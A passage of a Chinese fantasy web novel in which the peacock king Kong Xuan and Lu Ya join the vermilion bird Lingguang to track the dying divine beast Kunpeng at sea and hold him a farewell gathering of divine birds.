不少人都在偷偷看他们,孔宣一点被窥视的恼怒都没有,很适应这些凡人惊艳的目光,愉悦地将墨镜架在鼻梁上,酷酷地往上推了推。 “那肯定!我的人脉,必不叫你吃亏!” 孔雀大王超厉害得好嘛! 孔宣得意地扬起头,像是来走秀的大明星,大步流星地往前走。 陆压只能老老实实跟在孔雀大王提包,他倒是无怨无悔,只是在路过大屏幕时,他驻足看了一会儿新闻,架不住孔宣催促,匆忙从底下走过。 “在看什么?”孔宣回头,什么都没看到。 “秦岭那边地震了。” 陆压按着他的肩膀往回拐,拿着登机牌去过安检。 孔宣对新闻不感兴趣,他被揽着肩膀,满脸好奇地跟着陆压上了人类制作的金属大鸟。 听说这种东西还能飞,他显得很感兴趣,一路上叽叽喳喳问关于飞机的事。 直到坐到窗边,他歪过头,盯着窗外的风景终于安静下来。 叽叽喳喳的声音没了,陆压不适应地动了动,偏过头找寻着孔宣的身影:“怎么了?” 孔宣指了指窗外:“看,有只鸟。” 是一只瞿如。 那是一种形状像的白头鸟,长着三只脚,人一样的脸,叫的时候会发出“瞿如瞿如”的叫声。 “人,你们的世界充满了妖怪。”孔宣饶有趣味地撑着下巴,张开手指跟窗外的瞿如打招呼。 那只白头瞿如只是歪着脑袋看了孔宣一会儿,扇着翅膀飞走了。 孔宣也跟着挥手告别。 陆压陪着他一起看,直到那只瞿如从眼前飞走,他才问:“这种鸟会吃人吗?” 这话把孔宣逗笑了,他偏过头饶有趣味地点评:“你应该问哪种妖怪不吃人。” 在曾经的年代,人和动物一样,处于捕食与被捕食的关系,不是人类吃掉妖怪,就是妖怪杀死人类。 长了脚的怪物不知道什么时候会潜进人类的居所,而长了翅膀的怪物更加自由,它们只要扇扇翅膀,就能突破人类的防线到达远方。 不过它们虽然不介意食用人类,但其实很多妖怪的食谱上并没有人类。 它们还是会遵循一些自然规律。 比如那只瞿如,那是一种食肉性鸟类,会捕食一些小型鼠兔,有条件下也不介意吃两只咕咕加餐。 要是有个人死在它面前,它应该也不介意吃两口新肉。 “听起来。”陆压沉吟一瞬,给出评价:“挺安全。” 比起那种能带来大旱洪水的怪物安全多了。 或许是这个原因,这只瞿如才没有被拦截斩杀,平平安安地出现在人来人往的机场。 不过这也不是什么好事。 这代表着,妖管局已经没有那么多精力去执行宁可错杀不可放过的斩杀准则。 孔宣:“嗯哼。” 对于孔雀大王来说,什么都很安全! 孔宣拍了拍陆压的肩膀,用眼神示意:鸦,你就等着暴富吧! 孔宣亮晶晶的眼神看得陆压无法招架,以至于纵容孔宣在飞机上要了太多太多的可乐。 只是从来广市出发到边海城的两个小时飞机,孔雀大王被碳酸饮料折服,喝可乐喝到一直打嗝,捂着嘴哆哆嗦嗦地吐气泡。 孔宣:。 接二连三的可乐泡泡吐出,孔宣攥着拳头,眉头皱皱,满脸隐忍。 被人高马大的陆压牵着,像是被抓住的小逃犯,在气势甚重的陆压身边哆哆嗦嗦。 这一幕完全被人看在眼中。 穿着长裤马丁靴的红发青年挑起墨镜,墨镜搭在发顶,他红眸鲜亮如火,张扬的红发披散在繁复的蕾丝衬衫上。 他只是站在那里,就已经是众人目光的焦点。 此刻他衣服翻飞,帅气地从围栏翻过,上前的这几步脚步越走越快。 感觉到有人直冲自己过来,陆压和孔宣下意识转头,在一个瞬间,孔宣的身影飞速从陆压的视线中掠过。 前一秒陆压手里还牵着人,后一秒一个影子捕猎般朝他们扑过来,当场给陆压上演了一场撒手没。 当然,牵手也没。 陆压:? 他困惑转头,瞬间对上来者明锐如火的眼睛。 两只大鸟王不见王,一见面当场滚到了地上,像是两团毛茸茸的圆球撞击在一起,引发了极其恶劣的撞击效应。 孔宣被薅了一把头发,气得嗷嗷直叫,一把扯过陵光如海藻般漂亮的红发威胁:“你撒手!” 陵光反手薅住他的头发:“你先撒手!” “好,三二一一起!” “三二一!撒手!” …… “你上次薅我羽毛我还没报复回来!丑鸟!” “那你上上次拔我尾羽怎么说!你才丑!” “你丑!” “你丑!” “你先撒手!” “你先!” 陵光:!!! 孔宣:!!! 陆压:…… “一起撒手。” 作为裁判的陆压一手拎一个,他数了三下,同时捏痛两人的麻经。 红发的青年轻松脱身,抚了抚凌乱的长发,撩起不规则的橙色墨镜飞速朝陆压眨了眨眼。 “你老公?” 孔宣歪过脑袋,锐利的丹凤眼斜斜挑起,毫不客气回怼:“你老公。” “我老公在异地办公呢。” 陵光口出狂言,暧/昧的视线在两人身上转了一圈,重点在陆压年轻的脸上转了一圈:“年纪小不会疼人啊。” “嘁,不比你家那个年纪大,没情趣~” 两只刚才还互薅头发,没两句话又手挽着手聊到一起去了。 陵光抚了抚海藻般披散的红发,随手将手中的糖盒抛给孔宣。 “说点正事吧。” “什么正事?”孔宣玩闹般摇晃糖盒,随手推出一块。 两个人靠在一起,他低下头,咬住推出的糖块,秾烈的眉眼如最鲜明的画,侧面轮廓极具美感,浓到极致便连眼尾挑起的弧度都充满了魅力。 他挑起眼尾,饶有兴趣地望向陵光:“你不在西方守着,跑南海边干什么?朱雀神君。” “我出手可是很贵的。” 第22章 第22章藕尖爆炒无损兽2 “…… “少来。” 陵光眉眼轻蔑, 轻啧一声后漫不经心地撩起长发,傲气凌人地拿眼睛睨他。 他嗓音轻慢,不经意间锐利尽显:“你在论坛摆摊的帖子还是我给你摆平的,算上来你还欠我一回。” “来干点活吧, 孔宣。” 他用眼睛斜睨着孔宣, 孔宣咬着糖块, 腮帮子鼓起一边,玩味地咀嚼着这两句话, 随手抛了抛手中的糖盒,随性答应。 “说来听听。” 说话间, 他们被陵光引到机场外的停车场,帅气的红色跑车肆意张扬,不加掩饰地展露棱角。 陵光将副驾上的资料袋丢给孔宣,他将墨镜扣到头顶,从车镜中与陆压对上视线, 他唇角一挑,随手从孔宣手里抽出一张资料转而递给他。 “小陆压, 你也看看。” 陵光一脚油门, 打着方向盘拐出停车场。 他一边开车,一边配合着那些照片解说:“这就是我来这里的目的。” 资料袋里倒出几张纸质报告和一叠照片, 孔宣把袋子倒空了, 才玩闹般看起那些照片来。 照片并不神秘,有一些是卫星拍摄传回的海面照片, 一些则是无人机近海作业拍摄传回。 普通的海面照片,唯独中心是一片模糊怪异的黑影。 湛蓝的海面下,巨大的鲸影摇摆着尾端,从水下流淌而过, 模糊的海面流漾着怪异的影子,动荡起层层怪异的水波纹,将水下的鲸影模糊。 孔宣看不懂那些复杂的纸质报告,他将几张照片拼在一起,勉强拼出了一道似鱼似鸟的影子,潜在粼粼水下,显得模糊扭曲。 在原初的神兽之间,鸟族是以家族式帮扶存在的交际关系,就算是再孤僻、寂静的飞鸟也不会错过热闹的家族邀请。 他们早已在岁月中见过千万次。 是以,孔宣凭借这些,已然拼凑出了答案。 “这是鲲鹏。” 鲲之大,不知其几千里也,化而为鸟,其名为鹏。鹏之背,不知其几千里也。① 是为鲲鹏。 鲲鹏是极为特殊的存在,他既是水下的巨鲸又是天上的飞鸟,他同样是鸟族的一员。 看着那些追踪行踪的照片,孔宣挑眉,半开玩笑地问:“你没事跟踪鲲鹏干什么?” 孔宣玩笑的语气中藏着试探,他眼睫眨动,偏过脑袋看向陵光,眼中的探究像是暗藏星火,泛起星星波澜。 陵光盯着前方,红眸鲜亮如火,换挡空隙熟练回怼。 “孔宣你是睡觉把脑子睡掉了吧?我闲得没事能跟踪他?” 孔宣:“有事就可以跟踪?” 就在这时,陆压插入话头:“他可能要死了。” 他盯着那些被孔宣丢开的纸质报告,将最重要的两张抽了出来。 作为妖管局的前任清扫组组长,陆压熟练阅读报告,将两张报告摆在面前。 薄薄的白纸遮住他的下半张脸,只露出下意识皱起的眉头,连带着那双猝然凌厉起来的眼睛也一同展现在众人眼前。 陵光抽空往后看了一眼,孔宣则从副驾驶直接探头过去,顺着陆压的手指看向几个数值。 陆压点了点几个重要的数值,陈述道:“根据妖管局研究表明,无论是妖族还是已经有所修炼的人类,他们濒死之时,身体里储存的灵力会不受控制地外泄。 这种外泄在人类的探测中则会转化为这几个数值,这个是正常值这几个是观测数值……这几个数值都超过了预估数值,并且在以一种非常恐怖的数字极速增长,它并不正常。” 用神兽们自己的话来说,生前汲取天地灵气,死后将自身反哺天地,是极为自然的自然规律。 这也是天道不断消减妖魔存在的原因之一,祂在用这种方式收回创世之初散去的本源,填补世界、完善规则。 孔宣:。 孔宣意识到陵光来干嘛的了。 陵光将车开到靠海的酒店,他专门把两人送过来,按邀请上写的,包吃包住。 临走之前,他将胳膊架到车窗上歪过脑袋,漂亮的红发如岩浆一般从他的胸前流泻,他红眸明亮,唯有散漫的语调透出认真。 “知道你不想掺和人类的事,你已经逃了两次了……至少这次,你不能再逃了。” 孔宣头也没回,潇洒地摆了摆手,示意自己听到了。 “啧。”陵光一把将墨镜扣下,宽大的墨镜遮住了他脸上的表情,他转过头随意地摆了摆手,一脚油门,张扬的红色超跑飞速拐了个大弯,如一道闪电离弦冲向海平面。 太阳与海平面平行,唯有一点昏黄不受控制地浮出水面,将远处波光粼粼的海面照得秾烈鲜红。 热带风情装潢的酒店一进去只感觉热度翻涌,孔宣自从听到鲲鹏要死了就一直保持沉默,是陆压接手了找房间等事情,将他带到了房间里。 房间是双人标间,有极大的阳台可以休息,观赏远处的大海,孔宣撑着下巴靠在围栏上,还是忍不住心烦,忍不住趴在围栏上一顿突发恶疾、疯狂踢踏。 “呃啊——” 他几乎已经要死了,像是一件衣服头朝下挂在围栏上,从界限分明的栏杆缝隙看向陆压。 鸟鸟祟祟.jpg 陆压坐在床上叠衣服,他垂着眼睛,一点都没有被孔宣的突发恶疾吓到,面容平和极了。 看起来就很适合听雀倾诉。 孔宣挂在围栏上,用这样颓废的姿势郁闷的骨气腮帮子,含含糊糊地抱怨。 “陵光也太过分了吧!我才刚醒诶,这种残酷的事就直接摆在我面前吗?一点也不考虑一下我的承受能力!” 一觉醒来发现一个朋友要死了,是什么很值得高兴的事吗? “那大王觉得怎么样才行?”陆压叠好衣服,总算站起来走进阳台,蹲在孔宣面前。 他们一个倒挂一个蹲着,视线接触到一起,那双漂亮的眼睛微微一弯,像两瓣接住星星的月牙儿,忽闪着光彩。 孔宣突然换了一个表情,他弯起嘴角,面露狡黠:“当然是——” “不告诉我!” 只要不知道,就不需要为此烦恼了。 陆压偏了下头:? 孔宣一下子翻了过来,他脚踩在地上,天旋地转下不受控制地往后倒了几步,一下子栽倒进陆压的怀里。 陆压蹲在地上,被撞了一下,肩膀依旧挺直僵硬,像是一只接住主人的大型犬,大手在孔宣腰间摩挲两下,最终用力钳制住了他的侧腰。 孔宣摔进男人怀里,一屁股坐在男人的腿上,他眨巴眨巴眼睛,看着突然正过来的天空,发出莫名其妙的感慨。 “天好红啊。” 他枕着陆压的肩膀,陆压不说他也不起,就这样盯着天空看了两秒。 孔宣才移动注视,眼神耍赖般飘向旁边。 “我是说,死亡对我们来说不算是坏事,从天地间来回到天地间去。” “妈妈跟我说的。” 提到母亲,孔宣弯起唇角,笑得眉眼弯弯。 他偏过头,两个人靠得太紧,呼吸纠缠在一起,脸贴着脸,脖颈贴着脖颈,随着陆压低头的动作,他们的姿势显得亲密无间。 “只是啊。” “活着的人总是故作多情。”陆压嗓音低沉,他接住了孔宣那句“只是”,明白他对故友离去的难过。 他低垂下眼睛,手摸索过孔宣的侧脸,无端想起了自己意外牺牲的战友。 “即便只是说过几句话,只要想到他已经死去,依旧会觉得突然。” 不管是哪里对分局,清扫组永远都是牺牲人数最多的部门。 前一天还活生生说话玩笑的人,第二天就可能突然死去。 孔宣若有所思地点点头,给出了意料之外的答案:“不过我并不恐惧死亡。” “千年万年,总会有一天,死去的人会回到这世间与我们再次相遇。为了这个目标,好好活着等待重逢,才是最重要的事。” 聊完天,孔宣感觉自己的心情轻松多了。 他轻松翻起身,拍了拍陆压的肩膀,脚步轻快地绕进房间。 “听说这里的套间还会送糖……哇!是椰子口味的!” 孔宣没心没肺地一把扑到床上,将赠送的糖果哗啦啦倒了满床,他美滋滋地挑选几颗,美美拆开送入口中。 “陆鸦鸦,今天晚上去吃海鲜吧!” 他咋咋呼呼提要求,孩子气得在床上耍赖翻滚,直到陆压答应,他才翻起身高兴地欢呼一声。 “吃海鲜!” 孔宣没心没肺地弯起唇角露出笑容,像是有浮光从他眼底掠过,似有千万春光潋滟流淌,任由喜悦攀上眉眼。 看不出一点难过。 陆压动了动手指,不受控制地将目光落在他白软的腮肉上,难耐地吞咽喉咙。 “嗯。” 清晨,太阳早早地挂上云端,将粼粼海面照出斑驳的水波纹理。 海水翻滚着浪花拍打在船体,陆压在驾驶室打了半天火,热得汗湿衣襟,总算将白色小艇的发动机点燃。 孔宣百无聊赖地坐在船沿,用面包钓来几只雪白的海鸟,随着海鸟们聊天的话题越跑越偏,他终于听到自己感兴趣的话题,两眼放光地听海鸟们蛐蛐人类八卦。 要说他们为什么会出现在这里,当然是一大早上,陵光一通电话,把追寻鲲鹏踪迹的任务交给了陆压和孔宣。 “想自己一只鸟偷偷去死,想都不要想,这场葬礼我们送定了。”陵光是这么说的。 孔宣窥破天机,双手交叠,眼中锐利尽显:“根本就是想给我找事做吧!” 第23章 第23章藕尖爆炒无损兽3 一…… 一条船两个人。 小艇发动机轰鸣, 稍微确定了方向后直直地冲向大海。 孔宣坐在船沿,被风吹得发丝零乱。 凌乱的发丝在身后翻飞,海浪在船边翻涌,拍打着海浪将小艇推送。 孔宣掰着烤饼, 自己吃一块喂给鸟一块, 一边吃一边哼气:“为了让我干点事, 什么都不顾了,这种事交给我真的没问题吗?” “一只神兽真的想死, 谁也找不到他。” “不是你,是我们。”陆压纠正。 他攀着门框露出头, 大汗淋漓地站在甲板上,脑袋一低,大手攥着后领往前一带。 紧绷的肌肉被汗水侵湿,随着衣服拉起,在阳光下反射出油光水滑的光彩, 流畅的肌肉线条下,难以言喻的爆发力随着他的动作轰然绷紧。 可把某位孔雀大王的视线给狠狠吸引住了。 衣服脱下, 陆压发丝凌乱地探出脑袋, 深邃幽深的眼睛直直望向孔宣。 他脑袋微偏,眼睫眨动间孔宣的身影越发明晰:”我还在船上呢, 大王。” 灵气泄漏的痕迹是可以根据人类发明的机器观测到的, 这座小艇虽然看着破旧,但里面的机器设备相对来说比较先进。 陆压在里面调试了半天, 期间还有实时跟踪的卫星图片通过设备传递过来,基本上确定了跟踪路径。 陆压随手拎起旁边的衣服套上,朝孔宣伸出手。 孔宣将手里的烤饼掰给他一半,他坐在孔宣旁边, 两个人排排坐,一起啃烤饼。 陆压眉眼无奈:“看来我们要做好准备在海上生活一段时间了。” 小艇的船舱里有水和食物,大概够他们生活一周,只是燃料不足。 陆压细心地检查完,随手把玩了一下里面自带到刀具,轻松地在手中转了一圈。 就算食物吃完了,靠着大海自给自足,他们应该还能活上一段时间。 如果燃料耗尽他们还没有找到鲲鹏,可能要自给自足到救援到来。 孔宣一口咬住烤饼边缘,他嘴巴动了动,腮帮子鼓起一边,一大早上被带到海上的郁闷被风一吹,孔宣顿时笑弯了脸,满脸愉悦地感受海风吹拂在脸上的感觉。 他嗓音含糊,没心没肺地说:“唔关系窝,唔会出售!” 嘴里美味又好吃的烤饼还没吃完,孔雀大王先支棱支棱翅膀,比划出一个非常靠谱的手势。 他眉眼灵动地朝陆压眨巴眨巴眼睛,帅气地打了一个响指。 瞬时间,风云骤变,清朗的天空突然团聚出一团风云,无形的风卷着云朵汇聚成昏沉暗淡的雨云,狂风将海面吹皱,大海的浪花翻飞拍打。 一艘小艇乘风破浪,以一种非常极速的速度飞速冲向大海。 孔宣爬上座椅,一步两步走到小艇最前方。 被风吹开的发丝不停在身后翻飞,他立在船头,恐怖的风云在他头顶凝聚,他如末世下迎风而立的幸存者,风云惊扰不了他的喜悦,他眉眼张扬,坦然地张开手。 无数流风从他周身穿行而过,他偏过头,眼睛转动着睨向陆压,唇角的笑容恣意张扬。 “看,起风了!” 那一瞬间,他的眼底浮现出极致的青芒,那是人类所有言语都无法描绘的色彩,远比青绿更加明艳恢宏,泛着极致的冰冷。 他看向陆压的眼睛里透着非人的残酷与冰冷,也透着似有若无到欢喜与得意。 孔宣挑起唇角,他眉眼张扬肆意,斜飞的长眉像是张扬的飞鸟,无数浪花在他脚下翻腾,他只需要招招手,天地间的飞鸟自发在他头顶盘旋、臣服。 顺从他的意志,天地都为止倾倒。 漫漫青色晕染天空,无形无影的风吹起孔宣的衣摆,他立于船头,得意地扬起头,那一瞬间像是天地都被他踩在脚下。 大风将周围的一切吹得零落错乱,唯有两人的身影在无边无际的海洋中直立,乘着小艇一路乘风,如利剑将海水分割。 席卷的云朵遮蔽着太阳的光辉,一时间天地蓝与白明晰分明。 陆压的视线内是一片纯然洁白的乱云,以及苍茫天空下,那一抹亮眼的影子。 飘扬的发丝在空中摇曳,孔宣身影纤长,苍茫晴日下,他哼着小调,嗓音透着十足的自由。 风无法阻拦他的前路,只会化作阻力,将他推向远方。 他歪过头,漂亮的眼睛微微弯起:“陆鸦鸦,过来。” 孔宣朝陆压伸手,陆压没有迟疑,回握着他的手,顺着他的力道踩上船头。 踩上的一瞬间,大风将云朵、海沫吹乱,未知的迷雾顺着云海漂浮而来,几只飞鸟拍打着翅膀,在他们的身侧旋转飞翔,又转而飞向天空。 一声悠远的鲸鸣似乎从远方遥遥传来,孔宣挑起眉头,无数声音顺着海浪传递到他的耳边,他衣袂飘飘无端弯起眼睛。 “你听。” 孔宣歪过脑袋,耳朵贴着耳朵,在陆压耳边耳语。 陆压睫毛颤抖,眼神在他脸上定了一瞬,配合着侧耳倾听。 “——” 悠远的鲸鸣声像是从遥远的异空间传来,无端拉响鸣叫。 在侧耳倾听的一瞬间,脚下的小艇瞬间翻转,像是有什么东西潜到底下,将他们顶上高空。 陆压面露错愕,反应迅速地揽住孔宣的腰,视线在周围晃了一圈,在猝然腾空又迅速下落的一瞬间他试图自救,却被人一把拉住手腕。 孔宣扬起下巴,傲气十足地哼笑两声,他立于风中,依旧临危不乱,脸上恣意的笑意不减,俏皮地朝陆压挤眉弄眼。 巨大的蓝鲸将他们顶上高空,又极速地潜进水下,小艇轰然掉落,在水面晃悠几下,无声稳住了平衡。 就在此时,一声空悠的鲸鸣响起,小艇侧边浮现出一望无际的“蓝色平面”。 是鲲鹏。 “好久不见,孔宣。”鲲鹏的声音格外低沉,像是从异世界遥遥传来,声线十分浑厚。 陆压神情一怔,下意识地想找寻鲲鹏的影子。 ——根本不用去找。 他就在这里,他就在小艇边上,他甚至没有探头,只是稍稍露出冰山一角,就足以占据全部视野。 孔宣分明前一秒还在抱怨找人,后一秒鲲鹏不请自来。 孔宣三两下跳到小艇中间,蹦蹦跳跳地跟鲲鹏打招呼:“好久不见,鲲鹏,听说你要死了。” 他说话毫不客气,好在鲲鹏只是低笑两声,十分沉稳地附和:“嗯,是这样的。” “真是好久没见你了,你之前逃到哪里去了?” 逃。 无论是毕方还是朱雀亦或者鲲鹏,对于孔宣的出现都用了“逃”这个字。 “我看你们就是嫉妒我悠闲。”孔宣叉着腰,张牙舞爪的样子,看起来很像给鲲鹏一翅膀。 鲲鹏不由感慨:“真是命好啊。” 孔宣在无人知晓的地方逃过了两次大劫。 他扇扇鱼翅,只是稍微动一动,过于庞大的他轻易掀起了一片巨浪。 “不过我也不差。” 他也要死了,在无人的寂静之地获得永恒的安宁。 鲲先生是一只脾气很好的好鱼鸟、好神兽,他并没有离人类太近,这些年他一直生活在南海的海水中,保卫着这片海域的人类与生命。 他的眼睛见证过无数王朝的兴衰与无数同伴的死亡,在面对自己的死亡时,他坦然地扇扇鱼翅,掀起巨浪的同时,沉声宽慰。 “我一直在等你们,只是我没想到,来的是你,不过这有什么差别呢?” 他好脾气地笑了:“不要来送我,就让我安安静静死去吧。” 就这样沉入这片深海,与海下所有一起埋葬。 他早就知道他的鸟族朋友们不会放弃任何一个家人,他等候在这里,没有顺着洋流去往其他地方,是想要拦截为他送葬的报丧鸟。 但他没想到,来的报丧鸟会是孔宣。 他们早以为…… 鲲先生的话坦然又平静,他早已平静地接受了一切衰弱,人类甚至不知道他的离去。 孔雀低下头:“你真的要死了吗?” 鲲先生是原初时就存在的神兽,每一次的家族聚会他都会参加,他的存在像是一位和平宁静的老者,在很多时候他愿意为任何人施以援手。 这样受人尊敬的神兽死去,是该拥有一场宏大的葬礼。 但孔宣理解他所追求的安宁。 “鲲鹏,我理解你的志向,追寻死亡是很私人的事。” 孔宣双手插兜,他点了点脑袋,对鲲先生的选择表示理解,他弯起唇角,轻描淡写地说:“我也曾孤身赴死。” 他眉眼微弯,眼睫眨动间眸微眯,狭长的眼形状分明,眼角上挑的弧线似勾了世界上所有的魅惑与罪孽,飞扬的眉头精致风流。 泼墨一般的黑发从他肩膀旖旎散落,孔宣轻声说:“无人送我,我也曾渴望迎接死亡。” 在那封闭的黑暗的洞穴里,他曾试图迎接死亡,但命运将他的灵魂送回了人间。 被拉住的手腕赫然吃痛,是陆压收紧了手,孔宣撩了撩长发,语气肆意地宣布:“但我现在不想死了。” 孔宣歪过头,神情认真:“如果你想活下来,无论要付出什么代价,我都会帮你。” 他的诺言一字千钧。 第24章 第24章藕尖爆炒无损兽4 无论付…… 无论付出怎么样的代价, 他都愿意帮忙。 鸟族不会轻易放弃任何一个家人。 鲲鹏低低的笑声在天地一色的清明中回荡,天色青白海浪涛涛,潮起潮落的水激起层层浪花,自由而洒脱地奔向大海。 鲲先生说:“不必了, 孔宣。” 他已活过千万年的岁月, 在将死之际, 唯有淡淡的平和与从容。 鲲先生拍打着鱼翅,他的身形依旧掩藏在无边海浪中, 掀起的巨浪与鲸鸣交融成一篇乐曲,接二连三地鸣啼像是在应和着大海的声音, 任由未知地回响在天地间和声。 他的身躯远比鲸鱼庞大,只是从小船下淌过,恐怖的黑影几乎形成一片黑海。 尾端摇曳着水波从船下淌过,恰如天地倒转,一艘即将停泊的大船在海面投射出难以诠释的巨影。 鲲先生自以为和孔宣达成了共识, 他静静地随着洋流飘向远方,没有一刻回头。 悠长的鲸鸣在天地间回荡, 海里的生物似乎早已察觉到了别样的寂静, 拥挤地跟随在他的身后。 “不必为我送行。” 他怜爱地说:“我将把自己埋葬在这片海域,我的血肉会回馈万千生灵, 或许有一天, 我会再次归来。” 世间终将轮回,死去的事物终将回来。 终有那么一天…… 孔宣张扬抬眼, 他神色肆意,眼中一点青芒如星火璀璨。 “想自己一只鸟去死,想得美!” 海风吹动他的衣摆,他站在船头, 像是一位强势、骄傲的船长,风也为他的前路臣服,他手一指,傲气凌然:“陆鸦鸦,我们追上去!” 狂风将薄雾席卷聚集,漫天白云压在头顶,只见前路一片茫然,只能看见漫天白雾沿着水面朦胧靠近,似乎要阻拦他们的脚步。 但孔宣孤身站立高处,他手指所向,一路披荆斩棘、流风臣服。 陆压在海浪中扶住船沿,顺手锁住了船舱的大门。 海浪不停拍打上船,呼啸着倒灌而来,他们站在海上如一叶扁舟,只能顺着海浪翻滚摇摆。 陆压浑身濡湿,视线里孔宣的身影在海浪中忽隐忽现。 海浪裹挟着小艇奔腾向前,小艇在水面翻腾摇晃,孔宣仍然笔直地站立船头,似天崩地裂他依旧能乘风破浪,一往无前。 陆压迎着狂风与海浪,他一步一个脚印,踩着海水踏上船头。 狂乱风浪中,漫天长发飘摇凌乱,几乎飘到陆压脸上,陆压伸出手,也只是小心地任由发丝从自己掌心飞过。 他凝视着孔宣认真又肆意的侧脸,猝然有些失神。 “我们……要追上去?”陆压喉咙滚动。 为什么,不让他安安静静死去? 正如孔宣所说,死亡是私人的事情,既然鲲先生已经决议安静死去,为什么…… 为什么要追上去? 狂风吹动孔宣的发丝与衣摆,他身姿欣长,单薄的身体在狂乱的海浪中显得那么渺小脆弱。 即便如此,流风依旧顺服他的命令,海浪将指引他的前路。 有那么一瞬间,陆压理解了鲲先生的想法。 按照清扫组的行事作风,他应该安静退去,给这位前辈最安宁的死亡。 陆压在清扫组工作的时间公认是从十八岁到二十三岁,这并不准确。 准确来说是七岁到二十三岁,尽管他十八岁成年才正式入伍,但是他从七岁开始就生活在训练营中。 无数清扫组的新人来了又走,清扫组的条例他背了一年又一年。 很多即将死去的前辈也追寻着最安宁最盛烂的死亡。 ——死在战场,或者快速而安稳地死在抢救室的病床上。 孔宣歪过头,陆压的脸色应该很难看,从孔宣的眼睛里可以看出他又下意识皱起眉,不解又困惑。 孔宣说:“陆鸦鸦,有没有人说过你长得很好看?” 陆压怔住。 “你为什么总是一副很不高兴的样子呢?看起来很凶很不好招惹,冷冷的也不爱说话……”孔宣絮絮叨叨地说着,说着说着,他猝然笑了起来。 那一瞬间,仿佛阳光穿透了厚重的云层,从头顶撒下一片碎金摔碎在他眼中。 孔宣又说:“不过你这样也很好,我很喜欢。” 风吹起他的长发,他在一片凌乱与怅然中回答。 “陆压,我后悔了。” 陆压:“什么?” “因为最后,我后悔了。” 孔宣说:“我以为自己能直面死亡,但是在死亡的尽头,我真切地感受到后悔,我想要有人陪伴我走最后一程,我并不如我想的那么无畏强大。” 那双漂亮的丹凤眼彻底染成了青色,像是有万千青绿山水混进眼中,朦胧上一片耀眼绚丽的光彩,他弯起眼睛,眼尾下撇时呈现出如酒酿一般潋滟的光色。 “如果鲲鹏和我一样后悔了呢?如果他也感觉到寂寞呢?” 孔宣将凌乱的发丝往后捋,露出一整张脸,他从来张扬肆意,像是不知道恐惧是怎么书写。 他轻声说:“人不能寂寞地死去——” “鸟也一样。” 陆压神色怔然,此刻像是有一团棉花蒙蔽了他的大脑,他的大脑一片空白,钝钝地茫然着。 有那么一瞬间,他脑中闪回了训练营的宿舍,空荡荡的走廊和浴室里空空的放水声。 训练营是一年一期,为期三个月,人来了又走,很多时候他都是一个人生活在那里。 他寂寞太久了,就像是从来没有得到过光的人不曾觉得生活在黑暗中是一件错事。 可猝然看见了光,他只觉得呆滞茫然,甚至是钝痛。 正是此时,一声响亮的赞和声从天上落下:“说得好!” 只见一片火红的阴影从头顶掠过,来者宽大的翅膀几乎遮天蔽日,华丽的尾羽掠过天空,将天际熏染成一片浓烈火红,漫漫映在海中,呈现出黄昏时分的醺红色彩。 朱雀翅膀一扇,顿时狂风骤起,云散雾消。 清白天空下,他在空中盘旋,在落地时雾色散去,他们立于漫漫海域,早已分不清前路后路,只有一片看不到尽头的清白天空笼罩头顶。 陵光红发披散,眼中火色绚丽多彩,他快步上前,一把拍在孔宣肩上,眼睛锐利专/制。 “你要敢无声无息死了,我就到处说你是秃毛鸟。” 孔宣:!!! 好恶毒! “你才是!丑鸟!” “你丑!” “你丑!!” …… 孔宣气得挺起胸膛,支棱起脑袋,丹凤眼轻眨,试图用美色力压陵光。 陵光不甘示弱,他红发披散,整个人自信又张扬,像是高高在上的女王。 两个人一见面就想吵架,争美争了几辈子了,瞪着眼睛谁也不服谁。 最后不知道怎么了,又头挨着头手挽着手一副关系很好的样子。 陆压:…… 完全被排挤了吧! 明明他才是先来的,但现在陆压完全被排挤在外,只有孔宣和陵光站在一起眺望远方。 孔宣:“你一来鲲鹏就跑了,怎么办?” “他跑哪去?”陵光轻啧一声。 他朝远方摆摆手,一个影子模模糊糊地从水面浮现。 远远看过去,那是一只黑色玄龟,隐约有白影缠在上面,正摇头晃脑地朝他们摆首。 孔宣眼睛一亮,伸长脖子看了半天,高兴地一拍陵光的胳膊:“玄赟!” 是南方神玄武! 有玄武在,鲲先生还能跑到哪去? “你就是设局吧,用我钓鲲鹏现身,你再找人拦截?” 看似一只鸟,其实背后是一群鸟。 孔宣眉飞色舞,说话间眼睛越说越亮,没忍住为自己的聪慧翘起唇角,低调地哼哼两声,脸上的得意遮都遮不住。 鲲先生极为郁闷地浮出水面:“陵光——” 陵光挑眉。 他性格张扬霸道,好脾气的鲲先生完全招架不住,只能默默认栽。 孔宣两三步蹦到陆压身边,他踩着小艇上的凳子,嫌弃得没有沾水,眼睛晶亮极了。 “陆鸦鸦!我们准备准备来吃席吧!” 吃席! 鲲先生郁闷地喷出一口水柱:“当着死者的面这么兴奋真的好吗?” “哈!”孔宣嚣张叉腰,张牙舞爪地控诉:“谁叫你想自己一只鸟去死,能让大家吃席你就偷着乐吧!” 会有很多很多的鸟来! 青鸾、重明、毕方…… 无数只神鸟在今天默契地赶往南海,他们拍打翅膀,穿越厚厚的云层,迎着海风与雪白的海鸟共舞,在漫天红云消去之前,降临到了这片海域。 陵光与玄赟撑起了一片寂静的灵境,蜃释放的迷雾会迷惑人类感知,在漫天清白的灵境中,只有永恒潮起潮落的海水和悠长的鲸鸣。 很多很多的神鸟都默契地来到了这里,赶赴这一场死亡葬礼。 这里面每一个人都与鲲先生熟识,他们在岁月中聚会了无数次。 只是以前,他们会找一片有水有鱼的寂静山林,从白天聊到黑夜,在无尽的宴会中举杯欢笑。 这一次也会一样。 鲲先生并没有化身上船,他藏在水中,庞大的身躯几乎看不到边际。 但每一个来客都为鲲先生带来了礼物。 青鸾为他衔来了深山幽谷中最清雅的兰花,重明鸟性格洒脱带了一壶自己藏了很久的好酒要和鲲先生不醉不归,送春的春神句芒将春天的赠礼送给他…… 寂寞吗? 在无法辨识时间的灵境中,鲲先生缓缓闭上眼睛,他的声音带着倦怠与懒散,像是将要睡去。 他说:“孔宣,你说得对。” 没有一只鸟愿意寂寞死去。 第25章 第25章藕尖爆炒无损兽5 绵…… 绵绵细雨不知何时从天空浇下, 浇出一片茫茫薄雾,飘散在水上模糊了眼前的所有细节,只剩下一片青白的空芒。 白茫茫的天空与雾色相应,唯有水中涟漪接连波动, 应和着声声悠长的鲸鸣在无尽的空间中回荡, 用雨水将在场所有人浇透。 重明鸟化身是个衣着干练的女子, 她站在船边,面上没有什么表情, 只是身上的衣服被溅得半湿,发丝蒸腾出几分湿意。 她并不难过, 利索地开了酒,将酒瓶里的酒倒进水中,语气带笑地笑骂:“真是便宜你了鲲鹏。” 她珍藏了那么久的酒一口没喝,全倒给了鲲先生。 但这也没有什么好可惜的。 